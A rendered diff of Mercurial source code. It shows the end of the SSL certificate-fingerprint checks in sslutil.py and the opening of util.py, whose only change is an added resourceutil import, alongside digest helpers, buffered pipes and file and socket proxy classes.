977 | 977 | b'[hostsecurity] section: %s:fingerprints=%s)\n' |
|
978 | 978 | ) |
|
979 | 979 | % (host, host, nicefingerprint) |
|
980 | 980 | ) |
|
981 | 981 | return |
|
982 | 982 | |
|
983 | 983 | # Pinned fingerprint didn't match. This is a fatal error. |
|
984 | 984 | if settings[b'legacyfingerprint']: |
|
985 | 985 | section = b'hostfingerprint' |
|
986 | 986 | nice = fmtfingerprint(peerfingerprints[b'sha1']) |
|
987 | 987 | else: |
|
988 | 988 | section = b'hostsecurity' |
|
989 | 989 | nice = b'%s:%s' % (hash, fmtfingerprint(peerfingerprints[hash])) |
|
990 | 990 | raise error.Abort( |
|
991 | 991 | _(b'certificate for %s has unexpected fingerprint %s') |
|
992 | 992 | % (host, nice), |
|
993 | 993 | hint=_(b'check %s configuration') % section, |
|
994 | 994 | ) |
|
995 | 995 | |
|
996 | 996 | # Security is enabled but no CAs are loaded. We can't establish trust |
|
997 | 997 | # for the cert so abort. |
|
998 | 998 | if not sock._hgstate[b'caloaded']: |
|
999 | 999 | raise error.Abort( |
|
1000 | 1000 | _( |
|
1001 | 1001 | b'unable to verify security of %s (no loaded CA certificates); ' |
|
1002 | 1002 | b'refusing to connect' |
|
1003 | 1003 | ) |
|
1004 | 1004 | % host, |
|
1005 | 1005 | hint=_( |
|
1006 | 1006 | b'see https://mercurial-scm.org/wiki/SecureConnections for ' |
|
1007 | 1007 | b'how to configure Mercurial to avoid this error or set ' |
|
1008 | 1008 | b'hostsecurity.%s:fingerprints=%s to trust this server' |
|
1009 | 1009 | ) |
|
1010 | 1010 | % (host, nicefingerprint), |
|
1011 | 1011 | ) |
|
1012 | 1012 | |
|
1013 | 1013 | msg = _verifycert(peercert2, shost) |
|
1014 | 1014 | if msg: |
|
1015 | 1015 | raise error.Abort( |
|
1016 | 1016 | _(b'%s certificate error: %s') % (host, msg), |
|
1017 | 1017 | hint=_( |
|
1018 | 1018 | b'set hostsecurity.%s:certfingerprints=%s ' |
|
1019 | 1019 | b'config setting or use --insecure to connect ' |
|
1020 | 1020 | b'insecurely' |
|
1021 | 1021 | ) |
|
1022 | 1022 | % (host, nicefingerprint), |
|
1023 | 1023 | ) |
@@ -1,3601 +1,3602 b'' | |||
|
1 | 1 | # util.py - Mercurial utility functions and platform specific implementations |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
|
4 | 4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
5 | 5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
|
6 | 6 | # |
|
7 | 7 | # This software may be used and distributed according to the terms of the |
|
8 | 8 | # GNU General Public License version 2 or any later version. |
|
9 | 9 | |
|
10 | 10 | """Mercurial utility functions and platform specific implementations. |
|
11 | 11 | |
|
12 | 12 | This contains helper routines that are independent of the SCM core and |
|
13 | 13 | hide platform-specific details from the core. |
|
14 | 14 | """ |
|
15 | 15 | |
|
16 | 16 | from __future__ import absolute_import, print_function |
|
17 | 17 | |
|
18 | 18 | import abc |
|
19 | 19 | import collections |
|
20 | 20 | import contextlib |
|
21 | 21 | import errno |
|
22 | 22 | import gc |
|
23 | 23 | import hashlib |
|
24 | 24 | import itertools |
|
25 | 25 | import mmap |
|
26 | 26 | import os |
|
27 | 27 | import platform as pyplatform |
|
28 | 28 | import re as remod |
|
29 | 29 | import shutil |
|
30 | 30 | import socket |
|
31 | 31 | import stat |
|
32 | 32 | import sys |
|
33 | 33 | import time |
|
34 | 34 | import traceback |
|
35 | 35 | import warnings |
|
36 | 36 | |
|
37 | 37 | from .thirdparty import attr |
|
38 | 38 | from .pycompat import ( |
|
39 | 39 | delattr, |
|
40 | 40 | getattr, |
|
41 | 41 | open, |
|
42 | 42 | setattr, |
|
43 | 43 | ) |
|
44 | 44 | from hgdemandimport import tracing |
|
45 | 45 | from . import ( |
|
46 | 46 | encoding, |
|
47 | 47 | error, |
|
48 | 48 | i18n, |
|
49 | 49 | node as nodemod, |
|
50 | 50 | policy, |
|
51 | 51 | pycompat, |
|
52 | 52 | urllibcompat, |
|
53 | 53 | ) |
|
54 | 54 | from .utils import ( |
|
55 | 55 | compression, |
|
56 | 56 | procutil, |
|
57 | resourceutil, | |
|
57 | 58 | stringutil, |
|
58 | 59 | ) |
|
59 | 60 | |
|
60 | 61 | base85 = policy.importmod('base85') |
|
61 | 62 | osutil = policy.importmod('osutil') |
|
62 | 63 | |
|
63 | 64 | b85decode = base85.b85decode |
|
64 | 65 | b85encode = base85.b85encode |
|
65 | 66 | |
|
66 | 67 | cookielib = pycompat.cookielib |
|
67 | 68 | httplib = pycompat.httplib |
|
68 | 69 | pickle = pycompat.pickle |
|
69 | 70 | safehasattr = pycompat.safehasattr |
|
70 | 71 | socketserver = pycompat.socketserver |
|
71 | 72 | bytesio = pycompat.bytesio |
|
72 | 73 | # TODO deprecate stringio name, as it is a lie on Python 3. |
|
73 | 74 | stringio = bytesio |
|
74 | 75 | xmlrpclib = pycompat.xmlrpclib |
|
75 | 76 | |
|
76 | 77 | httpserver = urllibcompat.httpserver |
|
77 | 78 | urlerr = urllibcompat.urlerr |
|
78 | 79 | urlreq = urllibcompat.urlreq |
|
79 | 80 | |
|
80 | 81 | # workaround for win32mbcs |
|
81 | 82 | _filenamebytestr = pycompat.bytestr |
|
82 | 83 | |
|
83 | 84 | if pycompat.iswindows: |
|
84 | 85 | from . import windows as platform |
|
85 | 86 | else: |
|
86 | 87 | from . import posix as platform |
|
87 | 88 | |
|
88 | 89 | _ = i18n._ |
|
89 | 90 | |
|
90 | 91 | bindunixsocket = platform.bindunixsocket |
|
91 | 92 | cachestat = platform.cachestat |
|
92 | 93 | checkexec = platform.checkexec |
|
93 | 94 | checklink = platform.checklink |
|
94 | 95 | copymode = platform.copymode |
|
95 | 96 | expandglobs = platform.expandglobs |
|
96 | 97 | getfsmountpoint = platform.getfsmountpoint |
|
97 | 98 | getfstype = platform.getfstype |
|
98 | 99 | groupmembers = platform.groupmembers |
|
99 | 100 | groupname = platform.groupname |
|
100 | 101 | isexec = platform.isexec |
|
101 | 102 | isowner = platform.isowner |
|
102 | 103 | listdir = osutil.listdir |
|
103 | 104 | localpath = platform.localpath |
|
104 | 105 | lookupreg = platform.lookupreg |
|
105 | 106 | makedir = platform.makedir |
|
106 | 107 | nlinks = platform.nlinks |
|
107 | 108 | normpath = platform.normpath |
|
108 | 109 | normcase = platform.normcase |
|
109 | 110 | normcasespec = platform.normcasespec |
|
110 | 111 | normcasefallback = platform.normcasefallback |
|
111 | 112 | openhardlinks = platform.openhardlinks |
|
112 | 113 | oslink = platform.oslink |
|
113 | 114 | parsepatchoutput = platform.parsepatchoutput |
|
114 | 115 | pconvert = platform.pconvert |
|
115 | 116 | poll = platform.poll |
|
116 | 117 | posixfile = platform.posixfile |
|
117 | 118 | readlink = platform.readlink |
|
118 | 119 | rename = platform.rename |
|
119 | 120 | removedirs = platform.removedirs |
|
120 | 121 | samedevice = platform.samedevice |
|
121 | 122 | samefile = platform.samefile |
|
122 | 123 | samestat = platform.samestat |
|
123 | 124 | setflags = platform.setflags |
|
124 | 125 | split = platform.split |
|
125 | 126 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
|
126 | 127 | statisexec = platform.statisexec |
|
127 | 128 | statislink = platform.statislink |
|
128 | 129 | umask = platform.umask |
|
129 | 130 | unlink = platform.unlink |
|
130 | 131 | username = platform.username |
|
131 | 132 | |
|
132 | 133 | # small compat layer |
|
133 | 134 | compengines = compression.compengines |
|
134 | 135 | SERVERROLE = compression.SERVERROLE |
|
135 | 136 | CLIENTROLE = compression.CLIENTROLE |
|
136 | 137 | |
|
137 | 138 | try: |
|
138 | 139 | recvfds = osutil.recvfds |
|
139 | 140 | except AttributeError: |
|
140 | 141 | pass |
|
141 | 142 | |
|
142 | 143 | # Python compatibility |
|
143 | 144 | |
|
144 | 145 | _notset = object() |
|
145 | 146 | |
|
146 | 147 | |
|
147 | 148 | def bitsfrom(container): |
|
148 | 149 | bits = 0 |
|
149 | 150 | for bit in container: |
|
150 | 151 | bits |= bit |
|
151 | 152 | return bits |
|
152 | 153 | |
|
153 | 154 | |
|
154 | 155 | # python 2.6 still have deprecation warning enabled by default. We do not want |
|
155 | 156 | # to display anything to standard user so detect if we are running test and |
|
156 | 157 | # only use python deprecation warning in this case. |
|
157 | 158 | _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS')) |
|
158 | 159 | if _dowarn: |
|
159 | 160 | # explicitly unfilter our warning for python 2.7 |
|
160 | 161 | # |
|
161 | 162 | # The option of setting PYTHONWARNINGS in the test runner was investigated. |
|
162 | 163 | # However, module name set through PYTHONWARNINGS was exactly matched, so |
|
163 | 164 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
|
164 | 165 | # makes the whole PYTHONWARNINGS thing useless for our usecase. |
|
165 | 166 | warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial') |
|
166 | 167 | warnings.filterwarnings('default', '', DeprecationWarning, 'hgext') |
|
167 | 168 | warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd') |
|
168 | 169 | if _dowarn and pycompat.ispy3: |
|
169 | 170 | # silence warning emitted by passing user string to re.sub() |
|
170 | 171 | warnings.filterwarnings( |
|
171 | 172 | 'ignore', 'bad escape', DeprecationWarning, 'mercurial' |
|
172 | 173 | ) |
|
173 | 174 | warnings.filterwarnings( |
|
174 | 175 | 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial' |
|
175 | 176 | ) |
|
176 | 177 | # TODO: reinvent imp.is_frozen() |
|
177 | 178 | warnings.filterwarnings( |
|
178 | 179 | 'ignore', |
|
179 | 180 | 'the imp module is deprecated', |
|
180 | 181 | DeprecationWarning, |
|
181 | 182 | 'mercurial', |
|
182 | 183 | ) |
|
183 | 184 | |
|
184 | 185 | |
|
185 | 186 | def nouideprecwarn(msg, version, stacklevel=1): |
|
186 | 187 | """Issue an python native deprecation warning |
|
187 | 188 | |
|
188 | 189 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
|
189 | 190 | """ |
|
190 | 191 | if _dowarn: |
|
191 | 192 | msg += ( |
|
192 | 193 | b"\n(compatibility will be dropped after Mercurial-%s," |
|
193 | 194 | b" update your code.)" |
|
194 | 195 | ) % version |
|
195 | 196 | warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
|
196 | 197 | |
|
197 | 198 | |
|
198 | 199 | DIGESTS = { |
|
199 | 200 | b'md5': hashlib.md5, |
|
200 | 201 | b'sha1': hashlib.sha1, |
|
201 | 202 | b'sha512': hashlib.sha512, |
|
202 | 203 | } |
|
203 | 204 | # List of digest types from strongest to weakest |
|
204 | 205 | DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5'] |
|
205 | 206 | |
|
206 | 207 | for k in DIGESTS_BY_STRENGTH: |
|
207 | 208 | assert k in DIGESTS |
|
208 | 209 | |
|
209 | 210 | |
|
210 | 211 | class digester(object): |
|
211 | 212 | """helper to compute digests. |
|
212 | 213 | |
|
213 | 214 | This helper can be used to compute one or more digests given their name. |
|
214 | 215 | |
|
215 | 216 | >>> d = digester([b'md5', b'sha1']) |
|
216 | 217 | >>> d.update(b'foo') |
|
217 | 218 | >>> [k for k in sorted(d)] |
|
218 | 219 | ['md5', 'sha1'] |
|
219 | 220 | >>> d[b'md5'] |
|
220 | 221 | 'acbd18db4cc2f85cedef654fccc4a4d8' |
|
221 | 222 | >>> d[b'sha1'] |
|
222 | 223 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
|
223 | 224 | >>> digester.preferred([b'md5', b'sha1']) |
|
224 | 225 | 'sha1' |
|
225 | 226 | """ |
|
226 | 227 | |
|
227 | 228 | def __init__(self, digests, s=b''): |
|
228 | 229 | self._hashes = {} |
|
229 | 230 | for k in digests: |
|
230 | 231 | if k not in DIGESTS: |
|
231 | 232 | raise error.Abort(_(b'unknown digest type: %s') % k) |
|
232 | 233 | self._hashes[k] = DIGESTS[k]() |
|
233 | 234 | if s: |
|
234 | 235 | self.update(s) |
|
235 | 236 | |
|
236 | 237 | def update(self, data): |
|
237 | 238 | for h in self._hashes.values(): |
|
238 | 239 | h.update(data) |
|
239 | 240 | |
|
240 | 241 | def __getitem__(self, key): |
|
241 | 242 | if key not in DIGESTS: |
|
242 | 243 | raise error.Abort(_(b'unknown digest type: %s') % k) |
|
243 | 244 | return nodemod.hex(self._hashes[key].digest()) |
|
244 | 245 | |
|
245 | 246 | def __iter__(self): |
|
246 | 247 | return iter(self._hashes) |
|
247 | 248 | |
|
248 | 249 | @staticmethod |
|
249 | 250 | def preferred(supported): |
|
250 | 251 | """returns the strongest digest type in both supported and DIGESTS.""" |
|
251 | 252 | |
|
252 | 253 | for k in DIGESTS_BY_STRENGTH: |
|
253 | 254 | if k in supported: |
|
254 | 255 | return k |
|
255 | 256 | return None |
|
256 | 257 | |
|
257 | 258 | |
|
258 | 259 | class digestchecker(object): |
|
259 | 260 | """file handle wrapper that additionally checks content against a given |
|
260 | 261 | size and digests. |
|
261 | 262 | |
|
262 | 263 | d = digestchecker(fh, size, {'md5': '...'}) |
|
263 | 264 | |
|
264 | 265 | When multiple digests are given, all of them are validated. |
|
265 | 266 | """ |
|
266 | 267 | |
|
267 | 268 | def __init__(self, fh, size, digests): |
|
268 | 269 | self._fh = fh |
|
269 | 270 | self._size = size |
|
270 | 271 | self._got = 0 |
|
271 | 272 | self._digests = dict(digests) |
|
272 | 273 | self._digester = digester(self._digests.keys()) |
|
273 | 274 | |
|
274 | 275 | def read(self, length=-1): |
|
275 | 276 | content = self._fh.read(length) |
|
276 | 277 | self._digester.update(content) |
|
277 | 278 | self._got += len(content) |
|
278 | 279 | return content |
|
279 | 280 | |
|
280 | 281 | def validate(self): |
|
281 | 282 | if self._size != self._got: |
|
282 | 283 | raise error.Abort( |
|
283 | 284 | _(b'size mismatch: expected %d, got %d') |
|
284 | 285 | % (self._size, self._got) |
|
285 | 286 | ) |
|
286 | 287 | for k, v in self._digests.items(): |
|
287 | 288 | if v != self._digester[k]: |
|
288 | 289 | # i18n: first parameter is a digest name |
|
289 | 290 | raise error.Abort( |
|
290 | 291 | _(b'%s mismatch: expected %s, got %s') |
|
291 | 292 | % (k, v, self._digester[k]) |
|
292 | 293 | ) |
|
293 | 294 | |
|
294 | 295 | |
|
295 | 296 | try: |
|
296 | 297 | buffer = buffer |
|
297 | 298 | except NameError: |
|
298 | 299 | |
|
299 | 300 | def buffer(sliceable, offset=0, length=None): |
|
300 | 301 | if length is not None: |
|
301 | 302 | return memoryview(sliceable)[offset : offset + length] |
|
302 | 303 | return memoryview(sliceable)[offset:] |
|
303 | 304 | |
|
304 | 305 | |
|
305 | 306 | _chunksize = 4096 |
|
306 | 307 | |
|
307 | 308 | |
|
308 | 309 | class bufferedinputpipe(object): |
|
309 | 310 | """a manually buffered input pipe |
|
310 | 311 | |
|
311 | 312 | Python will not let us use buffered IO and lazy reading with 'polling' at |
|
312 | 313 | the same time. We cannot probe the buffer state and select will not detect |
|
313 | 314 | that data are ready to read if they are already buffered. |
|
314 | 315 | |
|
315 | 316 | This class let us work around that by implementing its own buffering |
|
316 | 317 | (allowing efficient readline) while offering a way to know if the buffer is |
|
317 | 318 | empty from the output (allowing collaboration of the buffer with polling). |
|
318 | 319 | |
|
319 | 320 | This class lives in the 'util' module because it makes use of the 'os' |
|
320 | 321 | module from the python stdlib. |
|
321 | 322 | """ |
|
322 | 323 | |
|
323 | 324 | def __new__(cls, fh): |
|
324 | 325 | # If we receive a fileobjectproxy, we need to use a variation of this |
|
325 | 326 | # class that notifies observers about activity. |
|
326 | 327 | if isinstance(fh, fileobjectproxy): |
|
327 | 328 | cls = observedbufferedinputpipe |
|
328 | 329 | |
|
329 | 330 | return super(bufferedinputpipe, cls).__new__(cls) |
|
330 | 331 | |
|
331 | 332 | def __init__(self, input): |
|
332 | 333 | self._input = input |
|
333 | 334 | self._buffer = [] |
|
334 | 335 | self._eof = False |
|
335 | 336 | self._lenbuf = 0 |
|
336 | 337 | |
|
337 | 338 | @property |
|
338 | 339 | def hasbuffer(self): |
|
339 | 340 | """True is any data is currently buffered |
|
340 | 341 | |
|
341 | 342 | This will be used externally a pre-step for polling IO. If there is |
|
342 | 343 | already data then no polling should be set in place.""" |
|
343 | 344 | return bool(self._buffer) |
|
344 | 345 | |
|
345 | 346 | @property |
|
346 | 347 | def closed(self): |
|
347 | 348 | return self._input.closed |
|
348 | 349 | |
|
349 | 350 | def fileno(self): |
|
350 | 351 | return self._input.fileno() |
|
351 | 352 | |
|
352 | 353 | def close(self): |
|
353 | 354 | return self._input.close() |
|
354 | 355 | |
|
355 | 356 | def read(self, size): |
|
356 | 357 | while (not self._eof) and (self._lenbuf < size): |
|
357 | 358 | self._fillbuffer() |
|
358 | 359 | return self._frombuffer(size) |
|
359 | 360 | |
|
360 | 361 | def unbufferedread(self, size): |
|
361 | 362 | if not self._eof and self._lenbuf == 0: |
|
362 | 363 | self._fillbuffer(max(size, _chunksize)) |
|
363 | 364 | return self._frombuffer(min(self._lenbuf, size)) |
|
364 | 365 | |
|
365 | 366 | def readline(self, *args, **kwargs): |
|
366 | 367 | if len(self._buffer) > 1: |
|
367 | 368 | # this should not happen because both read and readline end with a |
|
368 | 369 | # _frombuffer call that collapse it. |
|
369 | 370 | self._buffer = [b''.join(self._buffer)] |
|
370 | 371 | self._lenbuf = len(self._buffer[0]) |
|
371 | 372 | lfi = -1 |
|
372 | 373 | if self._buffer: |
|
373 | 374 | lfi = self._buffer[-1].find(b'\n') |
|
374 | 375 | while (not self._eof) and lfi < 0: |
|
375 | 376 | self._fillbuffer() |
|
376 | 377 | if self._buffer: |
|
377 | 378 | lfi = self._buffer[-1].find(b'\n') |
|
378 | 379 | size = lfi + 1 |
|
379 | 380 | if lfi < 0: # end of file |
|
380 | 381 | size = self._lenbuf |
|
381 | 382 | elif len(self._buffer) > 1: |
|
382 | 383 | # we need to take previous chunks into account |
|
383 | 384 | size += self._lenbuf - len(self._buffer[-1]) |
|
384 | 385 | return self._frombuffer(size) |
|
385 | 386 | |
|
386 | 387 | def _frombuffer(self, size): |
|
387 | 388 | """return at most 'size' data from the buffer |
|
388 | 389 | |
|
389 | 390 | The data are removed from the buffer.""" |
|
390 | 391 | if size == 0 or not self._buffer: |
|
391 | 392 | return b'' |
|
392 | 393 | buf = self._buffer[0] |
|
393 | 394 | if len(self._buffer) > 1: |
|
394 | 395 | buf = b''.join(self._buffer) |
|
395 | 396 | |
|
396 | 397 | data = buf[:size] |
|
397 | 398 | buf = buf[len(data) :] |
|
398 | 399 | if buf: |
|
399 | 400 | self._buffer = [buf] |
|
400 | 401 | self._lenbuf = len(buf) |
|
401 | 402 | else: |
|
402 | 403 | self._buffer = [] |
|
403 | 404 | self._lenbuf = 0 |
|
404 | 405 | return data |
|
405 | 406 | |
|
406 | 407 | def _fillbuffer(self, size=_chunksize): |
|
407 | 408 | """read data to the buffer""" |
|
408 | 409 | data = os.read(self._input.fileno(), size) |
|
409 | 410 | if not data: |
|
410 | 411 | self._eof = True |
|
411 | 412 | else: |
|
412 | 413 | self._lenbuf += len(data) |
|
413 | 414 | self._buffer.append(data) |
|
414 | 415 | |
|
415 | 416 | return data |
|
416 | 417 | |
|
417 | 418 | |
|
418 | 419 | def mmapread(fp): |
|
419 | 420 | try: |
|
420 | 421 | fd = getattr(fp, 'fileno', lambda: fp)() |
|
421 | 422 | return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
|
422 | 423 | except ValueError: |
|
423 | 424 | # Empty files cannot be mmapped, but mmapread should still work. Check |
|
424 | 425 | # if the file is empty, and if so, return an empty buffer. |
|
425 | 426 | if os.fstat(fd).st_size == 0: |
|
426 | 427 | return b'' |
|
427 | 428 | raise |
|
428 | 429 | |
|
429 | 430 | |
|
430 | 431 | class fileobjectproxy(object): |
|
431 | 432 | """A proxy around file objects that tells a watcher when events occur. |
|
432 | 433 | |
|
433 | 434 | This type is intended to only be used for testing purposes. Think hard |
|
434 | 435 | before using it in important code. |
|
435 | 436 | """ |
|
436 | 437 | |
|
437 | 438 | __slots__ = ( |
|
438 | 439 | '_orig', |
|
439 | 440 | '_observer', |
|
440 | 441 | ) |
|
441 | 442 | |
|
442 | 443 | def __init__(self, fh, observer): |
|
443 | 444 | object.__setattr__(self, '_orig', fh) |
|
444 | 445 | object.__setattr__(self, '_observer', observer) |
|
445 | 446 | |
|
446 | 447 | def __getattribute__(self, name): |
|
447 | 448 | ours = { |
|
448 | 449 | '_observer', |
|
449 | 450 | # IOBase |
|
450 | 451 | 'close', |
|
451 | 452 | # closed if a property |
|
452 | 453 | 'fileno', |
|
453 | 454 | 'flush', |
|
454 | 455 | 'isatty', |
|
455 | 456 | 'readable', |
|
456 | 457 | 'readline', |
|
457 | 458 | 'readlines', |
|
458 | 459 | 'seek', |
|
459 | 460 | 'seekable', |
|
460 | 461 | 'tell', |
|
461 | 462 | 'truncate', |
|
462 | 463 | 'writable', |
|
463 | 464 | 'writelines', |
|
464 | 465 | # RawIOBase |
|
465 | 466 | 'read', |
|
466 | 467 | 'readall', |
|
467 | 468 | 'readinto', |
|
468 | 469 | 'write', |
|
469 | 470 | # BufferedIOBase |
|
470 | 471 | # raw is a property |
|
471 | 472 | 'detach', |
|
472 | 473 | # read defined above |
|
473 | 474 | 'read1', |
|
474 | 475 | # readinto defined above |
|
475 | 476 | # write defined above |
|
476 | 477 | } |
|
477 | 478 | |
|
478 | 479 | # We only observe some methods. |
|
479 | 480 | if name in ours: |
|
480 | 481 | return object.__getattribute__(self, name) |
|
481 | 482 | |
|
482 | 483 | return getattr(object.__getattribute__(self, '_orig'), name) |
|
483 | 484 | |
|
484 | 485 | def __nonzero__(self): |
|
485 | 486 | return bool(object.__getattribute__(self, '_orig')) |
|
486 | 487 | |
|
487 | 488 | __bool__ = __nonzero__ |
|
488 | 489 | |
|
489 | 490 | def __delattr__(self, name): |
|
490 | 491 | return delattr(object.__getattribute__(self, '_orig'), name) |
|
491 | 492 | |
|
492 | 493 | def __setattr__(self, name, value): |
|
493 | 494 | return setattr(object.__getattribute__(self, '_orig'), name, value) |
|
494 | 495 | |
|
495 | 496 | def __iter__(self): |
|
496 | 497 | return object.__getattribute__(self, '_orig').__iter__() |
|
497 | 498 | |
|
498 | 499 | def _observedcall(self, name, *args, **kwargs): |
|
499 | 500 | # Call the original object. |
|
500 | 501 | orig = object.__getattribute__(self, '_orig') |
|
501 | 502 | res = getattr(orig, name)(*args, **kwargs) |
|
502 | 503 | |
|
503 | 504 | # Call a method on the observer of the same name with arguments |
|
504 | 505 | # so it can react, log, etc. |
|
505 | 506 | observer = object.__getattribute__(self, '_observer') |
|
506 | 507 | fn = getattr(observer, name, None) |
|
507 | 508 | if fn: |
|
508 | 509 | fn(res, *args, **kwargs) |
|
509 | 510 | |
|
510 | 511 | return res |
|
511 | 512 | |
|
512 | 513 | def close(self, *args, **kwargs): |
|
513 | 514 | return object.__getattribute__(self, '_observedcall')( |
|
514 | 515 | 'close', *args, **kwargs |
|
515 | 516 | ) |
|
516 | 517 | |
|
517 | 518 | def fileno(self, *args, **kwargs): |
|
518 | 519 | return object.__getattribute__(self, '_observedcall')( |
|
519 | 520 | 'fileno', *args, **kwargs |
|
520 | 521 | ) |
|
521 | 522 | |
|
522 | 523 | def flush(self, *args, **kwargs): |
|
523 | 524 | return object.__getattribute__(self, '_observedcall')( |
|
524 | 525 | 'flush', *args, **kwargs |
|
525 | 526 | ) |
|
526 | 527 | |
|
527 | 528 | def isatty(self, *args, **kwargs): |
|
528 | 529 | return object.__getattribute__(self, '_observedcall')( |
|
529 | 530 | 'isatty', *args, **kwargs |
|
530 | 531 | ) |
|
531 | 532 | |
|
532 | 533 | def readable(self, *args, **kwargs): |
|
533 | 534 | return object.__getattribute__(self, '_observedcall')( |
|
534 | 535 | 'readable', *args, **kwargs |
|
535 | 536 | ) |
|
536 | 537 | |
|
537 | 538 | def readline(self, *args, **kwargs): |
|
538 | 539 | return object.__getattribute__(self, '_observedcall')( |
|
539 | 540 | 'readline', *args, **kwargs |
|
540 | 541 | ) |
|
541 | 542 | |
|
542 | 543 | def readlines(self, *args, **kwargs): |
|
543 | 544 | return object.__getattribute__(self, '_observedcall')( |
|
544 | 545 | 'readlines', *args, **kwargs |
|
545 | 546 | ) |
|
546 | 547 | |
|
547 | 548 | def seek(self, *args, **kwargs): |
|
548 | 549 | return object.__getattribute__(self, '_observedcall')( |
|
549 | 550 | 'seek', *args, **kwargs |
|
550 | 551 | ) |
|
551 | 552 | |
|
552 | 553 | def seekable(self, *args, **kwargs): |
|
553 | 554 | return object.__getattribute__(self, '_observedcall')( |
|
554 | 555 | 'seekable', *args, **kwargs |
|
555 | 556 | ) |
|
556 | 557 | |
|
557 | 558 | def tell(self, *args, **kwargs): |
|
558 | 559 | return object.__getattribute__(self, '_observedcall')( |
|
559 | 560 | 'tell', *args, **kwargs |
|
560 | 561 | ) |
|
561 | 562 | |
|
562 | 563 | def truncate(self, *args, **kwargs): |
|
563 | 564 | return object.__getattribute__(self, '_observedcall')( |
|
564 | 565 | 'truncate', *args, **kwargs |
|
565 | 566 | ) |
|
566 | 567 | |
|
567 | 568 | def writable(self, *args, **kwargs): |
|
568 | 569 | return object.__getattribute__(self, '_observedcall')( |
|
569 | 570 | 'writable', *args, **kwargs |
|
570 | 571 | ) |
|
571 | 572 | |
|
572 | 573 | def writelines(self, *args, **kwargs): |
|
573 | 574 | return object.__getattribute__(self, '_observedcall')( |
|
574 | 575 | 'writelines', *args, **kwargs |
|
575 | 576 | ) |
|
576 | 577 | |
|
577 | 578 | def read(self, *args, **kwargs): |
|
578 | 579 | return object.__getattribute__(self, '_observedcall')( |
|
579 | 580 | 'read', *args, **kwargs |
|
580 | 581 | ) |
|
581 | 582 | |
|
582 | 583 | def readall(self, *args, **kwargs): |
|
583 | 584 | return object.__getattribute__(self, '_observedcall')( |
|
584 | 585 | 'readall', *args, **kwargs |
|
585 | 586 | ) |
|
586 | 587 | |
|
587 | 588 | def readinto(self, *args, **kwargs): |
|
588 | 589 | return object.__getattribute__(self, '_observedcall')( |
|
589 | 590 | 'readinto', *args, **kwargs |
|
590 | 591 | ) |
|
591 | 592 | |
|
592 | 593 | def write(self, *args, **kwargs): |
|
593 | 594 | return object.__getattribute__(self, '_observedcall')( |
|
594 | 595 | 'write', *args, **kwargs |
|
595 | 596 | ) |
|
596 | 597 | |
|
597 | 598 | def detach(self, *args, **kwargs): |
|
598 | 599 | return object.__getattribute__(self, '_observedcall')( |
|
599 | 600 | 'detach', *args, **kwargs |
|
600 | 601 | ) |
|
601 | 602 | |
|
602 | 603 | def read1(self, *args, **kwargs): |
|
603 | 604 | return object.__getattribute__(self, '_observedcall')( |
|
604 | 605 | 'read1', *args, **kwargs |
|
605 | 606 | ) |
|
606 | 607 | |
|
607 | 608 | |
|
608 | 609 | class observedbufferedinputpipe(bufferedinputpipe): |
|
609 | 610 | """A variation of bufferedinputpipe that is aware of fileobjectproxy. |
|
610 | 611 | |
|
611 | 612 | ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that |
|
612 | 613 | bypass ``fileobjectproxy``. Because of this, we need to make |
|
613 | 614 | ``bufferedinputpipe`` aware of these operations. |
|
614 | 615 | |
|
615 | 616 | This variation of ``bufferedinputpipe`` can notify observers about |
|
616 | 617 | ``os.read()`` events. It also re-publishes other events, such as |
|
617 | 618 | ``read()`` and ``readline()``. |
|
618 | 619 | """ |
|
619 | 620 | |
|
620 | 621 | def _fillbuffer(self): |
|
621 | 622 | res = super(observedbufferedinputpipe, self)._fillbuffer() |
|
622 | 623 | |
|
623 | 624 | fn = getattr(self._input._observer, 'osread', None) |
|
624 | 625 | if fn: |
|
625 | 626 | fn(res, _chunksize) |
|
626 | 627 | |
|
627 | 628 | return res |
|
628 | 629 | |
|
629 | 630 | # We use different observer methods because the operation isn't |
|
630 | 631 | # performed on the actual file object but on us. |
|
631 | 632 | def read(self, size): |
|
632 | 633 | res = super(observedbufferedinputpipe, self).read(size) |
|
633 | 634 | |
|
634 | 635 | fn = getattr(self._input._observer, 'bufferedread', None) |
|
635 | 636 | if fn: |
|
636 | 637 | fn(res, size) |
|
637 | 638 | |
|
638 | 639 | return res |
|
639 | 640 | |
|
640 | 641 | def readline(self, *args, **kwargs): |
|
641 | 642 | res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) |
|
642 | 643 | |
|
643 | 644 | fn = getattr(self._input._observer, 'bufferedreadline', None) |
|
644 | 645 | if fn: |
|
645 | 646 | fn(res) |
|
646 | 647 | |
|
647 | 648 | return res |
|
648 | 649 | |
|
649 | 650 | |
|
650 | 651 | PROXIED_SOCKET_METHODS = { |
|
651 | 652 | 'makefile', |
|
652 | 653 | 'recv', |
|
653 | 654 | 'recvfrom', |
|
654 | 655 | 'recvfrom_into', |
|
655 | 656 | 'recv_into', |
|
656 | 657 | 'send', |
|
657 | 658 | 'sendall', |
|
658 | 659 | 'sendto', |
|
659 | 660 | 'setblocking', |
|
660 | 661 | 'settimeout', |
|
661 | 662 | 'gettimeout', |
|
662 | 663 | 'setsockopt', |
|
663 | 664 | } |
|
664 | 665 | |
|
665 | 666 | |
|
666 | 667 | class socketproxy(object): |
|
667 | 668 | """A proxy around a socket that tells a watcher when events occur. |
|
668 | 669 | |
|
669 | 670 | This is like ``fileobjectproxy`` except for sockets. |
|
670 | 671 | |
|
671 | 672 | This type is intended to only be used for testing purposes. Think hard |
|
672 | 673 | before using it in important code. |
|
673 | 674 | """ |
|
674 | 675 | |
|
675 | 676 | __slots__ = ( |
|
